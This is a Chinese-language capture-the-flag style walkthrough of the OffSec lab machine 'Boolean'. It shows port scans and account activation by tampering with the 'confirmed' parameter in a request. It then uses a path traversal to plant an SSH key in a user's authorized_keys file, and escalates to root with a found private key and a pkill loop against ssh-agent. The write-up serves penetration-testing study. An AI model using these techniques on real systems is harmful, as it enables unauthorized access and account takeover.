本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
Boolean
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
注册用户 –> 修改邮箱抓包修改请求体激活账号 –> 上传文件存在目录穿越,上传私钥文件 –> remi 用户权限 –> 用户旗帜
权限提升:
remi 用户.ssh 目录存在 root 用户私钥文件 –> bash while 循环结束 ssh-agent 进程 –> 利用私钥连接靶机,获取到 root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6 7
| sudo nmap -p- 192.168.130.231 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp closed ppp 33017/tcp open unknown
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| sudo nmap -p22,80,33017 -sCV 192.168.130.231
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA) | 256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA) |_ 256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519) 80/tcp open http | http-title: Boolean |_Requested resource was http://192.168.130.231/login | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: | HTTP/1.1 400 Bad Request | FourOhFourRequest, GetRequest, HTTPOptions: | HTTP/1.0 403 Forbidden | Content-Type: text/html; charset=UTF-8 |_ Content-Length: 0 33017/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Development Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 服务。
3.2 渗透测试突破边界
3.2.1 修改请求体键值激活注册用户
系统 HTTP 3000 端口枚举未发现任何有价值信息(兔子洞),HTTP 80 服务存在登录和注册功能。

测试注册账号,登录后提示需要点击邮箱链接才能激活,这里很明显需要想办法绕过邮箱验证来激活账号。


点击后台修改邮箱并使用 burp 抓取数据包。


仔细观察请求体和响应体,首先将请求体使用 URL 解码。


修改请求体 user[email]值响应体 email 也会发生变化,猜测该接口的请求体可修改账号配置信息。

响应体除了 email 参数还存在 confirmed 参数,而该字段中文为确认的意思,尝试在请求体修改该参数为 true,结果成功修改。
1
| _method=patch&authenticity_token=wxkjypLE7_UNgjagaMjJ6NNBuVoaczAEpR3wUCVnRzjhiUfv5_Zjbf6bmaehjajqLr7chg1nAxfEMw1hV1ADzQ&user%5Bemail%5D=F0ne%40qq.com&user%5Bconfirmed%5D=true
|

再次返回登录页面刷新,可成功访问后台应用。

3.2.2 后台路径上传接口存在路径穿越,用户目录上传 kali 私钥文件
后台可上传和下载文件,但无法执行文件。测试上传下载时,得到了一个新的 URL。
1
| http://192.168.130.231/?cwd=&file=test&download=true
|

尝试仅通过 cwd 参数访问系统,并测试目录穿越,可通过 ../ 穿越至任意目录。
1
| http://192.168.130.231/?cwd=../../
|

穿越至系统用户目录,上传 kali 私钥文件至 authorized_keys 文件。
1
| http://192.168.130.231/?cwd=../../../../../home/remi/.ssh
|

1
| cat ~/.ssh/id_rsa.pub > authorized_keys
|

使用 kali 私钥文件连接靶机,得到系统 remi 用户 shell。
1
| ssh -i ~/.ssh/id_rsa remi@192.168.130.231
|

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 Remi 用户 .ssh 目录私钥提权至系统 root 用户
靶机系统信息搜集过程中,在 remi 用户.ssh/keys 目录发现了私钥文件,利用该私钥文件 ssh 连接靶机,系统提示因尝试次数太多而拒绝连接。

通过系统网络连接发现本地 22 端口被某个进程访问。

使用 ps -aux 发现 ssh-agent 进程非常可疑,使用 kill -9 将其结束,再次执行发现进程依然存在。

在 bash 编写 while 语句一直执行 pkill 命令,不断的结束包含 ssh-agent 的进程,再次通过 ssh 连接,得到系统 root 用户权限。
1 2
| while true; do pkill ssh-agent; done ssh -i root root@127.0.0.1
|


3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨